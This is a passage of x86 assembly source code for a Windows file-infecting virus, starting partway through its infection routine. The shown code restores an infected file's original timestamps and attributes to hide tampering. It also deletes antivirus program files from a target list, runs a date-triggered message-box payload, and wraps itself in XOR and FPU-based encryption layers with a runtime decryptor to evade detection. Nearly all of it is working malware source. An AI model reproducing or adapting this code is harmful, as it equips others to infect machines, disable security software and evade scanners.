[ebp+ACloseHandleA] ; ; close_file: ; then close file handle, mov ebx, offset ftcreation ; but first restore it's add ebx, ebp ; original date and time push ebx ; add ebx, 8 ; push ebx ; add ebx, 8 ; push ebx ; push dword ptr [ebp+offset filehandle] ; call dword ptr [ebp+ASetFileTimeA] ; ; push 0 ; first we must set the file push 0 ; pointer at the end of file push dword ptr [ebp+offset newfilesize]; (that is the beginning + push dword ptr [ebp+offset filehandle] ; new file size) call dword ptr [ebp+offset ASetFilePointerA] ; ; push dword ptr [ebp+offset filehandle] ; ...and then mark the end of call dword ptr [ebp+offset ASetEndOfFileA] ; file... ; push dword ptr [ebp+offset filehandle] ; now, close ! call dword ptr [ebp+ACloseHandleA] ; ; ; Restore File Attributes push dword ptr [ebp+offset fileattributes] push dword ptr [ebp+offset fileofs] ; call dword ptr [ebp+offset ASetFileAttributesA] jmp infection_succesful ; ; infection_error: ; stc ; CF set if an error occured jmp outahere ; or file was already infected ; infection_succesful: ; cmp word ptr [ebp+offset infectionflag], 0FFh je infection_error ; clc ; if all is ok, CF is reset ; outahere: ; popad ; restore registers ret ; Infect_File Endp ; ; ; kill_av_files proc near ; pusha ; lea edi, [ebp+offset search] ; point to Search Record lea esi, [ebp+offset av_list] ; point av files list ; locate_next_av: ; mov eax, dword ptr [esi] ; add eax, ebp ; ax = address of file name cmp byte ptr [eax], 0FFh ; is this the end? je av_kill_done ; push edi ; push search record address push eax ; push filename address call dword ptr [ebp+offset AFindFirstFileAA] ; find first match cmp eax, 0FFFFFFFFh ; check for EAX = -1 je next_av_file ; lea ebx, [edi.FileName] ; ESI = pointer to filename... push ebx ; push filename address call dword ptr [ebp+ADeleteFileAA] ; delete file! ; next_av_file: ; add si, 4 ; next file jmp locate_next_av ; ; av_kill_done: ; popa ; ret ; kill_av_files endp ; ;ÜÜÜÜÝThe Payload routineÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Payload proc near pusha lea eax, [ebp+offset u32] ; try to retrieve USER32 module push eax ; call dword ptr [ebp+offset AGetModuleHandleA]; cmp eax, 0 ; je no_payload ; mov dword ptr [ebp+user32], eax ; try to retrieve the address lea eax, [ebp+offset AMessageBox] ; of the MessageBoxA function push eax ; mov eax, dword ptr [ebp+user32] ; push eax ; call dword ptr [ebp+offset AGetProcAddressA] cmp eax, 0 ; je no_payload ; mov ebx, eax ; Get the System Time lea eax, [ebp+offset systemtime] ; mov edi, eax ; push eax ; call dword ptr [ebp+offset AGetSystemTimeA] mov eax, dword ptr [edi+4] ; and eax, 0FFFF0000h ; shr eax, 10h ; Eax = Day of Month... cmp eax, 7 ; is it 7 ? jne no_payload ; ; ; Payload ; push 00h or 1000h ; AlwaysOnTop + Ok button lea eax, [ebp+offset windowtitle] ; push eax ; lea eax, [ebp+offset windowmessage] ; push eax ; push 0 ; call ebx ; display message ; no_payload: ; popa ; ret ; Payload endp ; ;ÜÜÜÜÝThe Random routinesÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ brandom32 proc near ; push edx ; this procedure expects a value push ecx ; mov edx, 0 ; in EAX and returns a random push eax ; number in EAX but smaller than call random32 ; EAX's original value. Actually pop ecx ; it bounds EAX (0<=EAX<=limit-1) div ecx ; EDX and ECX are preserved xchg eax, edx ; pop ecx ; pop edx ; ret ; brandom32 endp ; ; random32 proc near ; call random16 ; this is the random 32 bit shl eax, 10h ; generator (puts 2 random 16 bit ; in each side of EAX) random16: ; push ebx ; this procedure here gets a xor bx, 0F00Dh ; random word by reading different seed equ word ptr $-2 ; ports on 8 bits. Great idea in al, 40h ; from Wild W0rker. xor bl, al ; in al, 42h ; add bh, al ; in al, 41h ; sub bl, al ; in al, 41h ; xor bh, al ; in al, 42h ; add bl, al ; in al, 40h ; sub bh, al ; mov word ptr [ebp+offset seed], bx ; xchg bx, ax ; pop ebx ; ret ; random32 endp ; ;ÜÜÜÜÝEncryptionÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Crypt proc near call random32 ; get 32bit key value mov dword ptr [ebp+key], eax ; ; crypt_loop: ; mov edx, dword ptr [edi] ; xor edx, eax ; add eax, 01010101h ; mov dword ptr [edi], edx ; add edi, 4 ; loop crypt_loop ; ret ; Crypt endp ; ; FPU_Crypt proc near ; The encryption procedure mov ecx, FPU_encrypt_len ; sub ecx, 4 ; mov edx, 0 ; repeat_crypt: ; mov dword ptr [ebp+counter], edx ; call Taylor ; compute EXP(EDX) add al, byte ptr [ebp+FPU_key] ; increase key with result xor byte ptr [ebx], al ; xor the code add byte ptr [ebp+FPU_key], 3 ; increase key with 3 inc edx ; increase x for EXP(x) cmp edx, 11 ; and make it 0 if we gone jne over1 ; over 10 mov edx, 0 ; over1: ; inc bx ; increment pointer loop repeat_crypt ; ret ; FPU_Crypt endp ; ; FPU_encrypt_len equ $-FPU_encrypt ; length of encrypted code ;ÜÜÜÜÝFPU Encryption algorithmÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Factorial proc near ; This procedure computes ; N!, where N is stored into finit ; the ECX register. fwait ; syncronize FPU/CPU cmp cx, 0 ; clear 0! exception. je exit_1 ; fild dword ptr [ebp+m] ; load value 1 fild dword ptr [ebp+m] ; three times fild dword ptr [ebp+m] ; ; repeat_factorial: ; fmul st(1), st ; multiply by the base fadd st, st(2) ; increase the base loop repeat_factorial ; and repeat fincstp ; mov ST(1) to ST(0) fistp dword ptr [ebp+m] ; store the result ; exit_1: ; mov eax, dword ptr [ebp+m] ; and get it into EAX mov dword ptr [ebp+m], 1 ; ret ; ; m dd 1 ; Factorial endp ; ; ; Power Proc Near ; This computes EAX to the power finit ; of ECX. fwait ; cmp cx, 0 ; clear 0^n and n^0 exceptions je exit_3 ; cmp cx, 1 ; je exit_2 ; mov dword ptr [ebp+n], eax ; save the initial EAX fild dword ptr [ebp+n] ; and reload it two times fild dword ptr [ebp+n] ; dec cx ; a little correction is needed ; repeat_power: ; fmul st, st(1) ; multiply the number by itself loop repeat_power ; CX times. fistp dword ptr [ebp+n] ; and store the result ; exit_3: ; mov eax, dword ptr [ebp+n] ; mov dword ptr [ebp+n], 1 ; ; exit_2: ; ret ; ; n dd 1 ; Power Endp ; ; Taylor Proc near ; The main procedure push cx ; finit ; Initialize FPU fwait ; Mov cx, 12 ; the depth of the algorithm ; rep_taylor: ; push cx ; save the CX register mov eax, dword ptr [ebp+counter] ; we compute EXP(X) call Power ; compute EAX^ECX mov dword ptr [ebp+temp1], eax ; store temporary result pop cx ; restore ECX push cx ; mov eax, ecx ; call Factorial ; Compute ECX! mov dword ptr [ebp+temp2], eax ; store the temporary result finit ; reinitialize FPU fild dword ptr [ebp+temp1] ; load the two temporary results fild dword ptr [ebp+temp2] ; fdiv ; and divide them (X^n / n!) fld dword ptr [ebp+rez] ; then load the number in REZ fadd ; and add the division result fst dword ptr [ebp+rez] ; and then store it as float pop cx ; restore counter dec cx ; and decrease it. cmp cx, 0FFFFh ; I used this trick because I jne rep_taylor ; needed a step also with cx=0 fld dword ptr [ebp+rez] ; load the final result frndint ; and round it to nearest integer fist word ptr [ebp+taylor_rez] ; store it mov ax, word ptr [ebp+taylor_rez] ; and put it into ax mov dword ptr [ebp+taylor_rez], 0 ; clear these addresses mov dword ptr [ebp+rez], 0 ; pop cx ; restore CX ret ; (only AX get's changed here) ; taylor_rez dw 0 ; rez dd 0 ; temp1 dd 0 ; temp2 dd 0 ; Taylor Endp ; counter dd 0 ; ; FPU_Decrypt proc near ; the runtime FPU decryptor (which lea ebx, [ebp+offset FPU_encrypt] ; is hidden by the second encrypt.) mov ecx, FPU_encrypt_len ; length sub ecx, 4 ; mov edx, 0 ; ; repeat_decrypt: ; mov dword ptr [ebp+counter], edx ; call Taylor ; add al, byte ptr [ebp+FPU_key] ; xor byte ptr [ebx], al ; add byte ptr [ebp+FPU_key], 3 ; inc edx ; cmp edx, 11 ; jne over2 ; mov edx, 0 ; over2: ; inc bx ; loop repeat_decrypt ; ret ; FPU_Decrypt endp ; FPU_key db 0 ; ; end_crypt label ; Here ends the first crypt ;ÜÜÜÜÝDecryptionÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Decrypt proc near ; EDI = where to crypt cmp ebp, 0 ; ECX = dwords je quit_decrypt ; mov eax, dword ptr [ebp+key] ; ; decrypt_loop: ; mov edx, dword ptr [edi] ; xor edx, eax ; add eax, 01010101h ; modify key mov dword ptr [edi], edx ; add edi, 4 ; loop decrypt_loop ; ; call FPU_Decrypt ; quit_decrypt: ; ret ; Decrypt endp ; key dd 0 ; ; end: ; end start ; end ; end of story... ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ